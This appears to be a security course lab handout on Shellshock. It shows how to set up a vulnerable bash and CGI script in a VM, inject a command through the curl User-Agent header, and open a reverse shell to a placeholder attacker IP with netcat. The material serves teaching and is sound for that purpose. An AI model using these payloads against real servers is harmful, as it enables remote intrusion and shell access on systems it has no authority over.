Shellshock Lab

**Environment Setup**:

1. Enable CGI in your VM (it's ok to ignore warning):

sudo a2enmod cgi

sudo service apache2 restart

2. Download vulnerable bash binary from here: [bash](https://d1b10bmlvqabco.cloudfront.net/attach/j6qsie8ur376ks/i3vx5zdfi771r2/j8c2aftbqopa/bash). Make the bash executable:

chmod a+x bash

3. Link /bin/sh to **the absolute path** of our vulnerable bash program

sudo ln -sf /[PATH\_TO\_bash]/bash /bin/sh

**Task 1:**

In this task, we will launch the Shellshock attack on a remote web server. Many web servers enable CGI, which is a standard method used to generate dynamic content on Web pages and Web applications. Many CGI programs are written using a shell script. Therefore, before a CGI program is executed, the shell program will be invoked first, and such an invocation is triggered by a user from a remote computer

myprog.cgi:

#!/bin/sh

echo "Content-type: text/plain"

echo

echo

//echo "Hello World"

echo "\*\*\* Environment variables \*\*\*"

strings /proc/$$/environ

Move the CGI program to the default CGI directory and make it executable:

sudo cp myprog.cgi /usr/lib/cgi-bin/

sudo chmod 755 /usr/lib/cgi-bin/myprog.cgi

Curl the CGI program:

curl http://localhost/cgi-bin/myprog.cgi

Inject the shellcode in the HTTP agent header:

curl -A "() { :; }; echo; echo; /bin/ls -l" http://localhost/cgi-bin/myprog.cgi

**Task 2**:

Gain reverse shell by exploiting the Shellshock vulnerability of the CGI program.

Netcat program listen to port 7070

nc -l 7070 -v

Reserve shell command:

/bin/bash -i > /dev/tcp/attacker\_ip/7070 0<&1 2>&1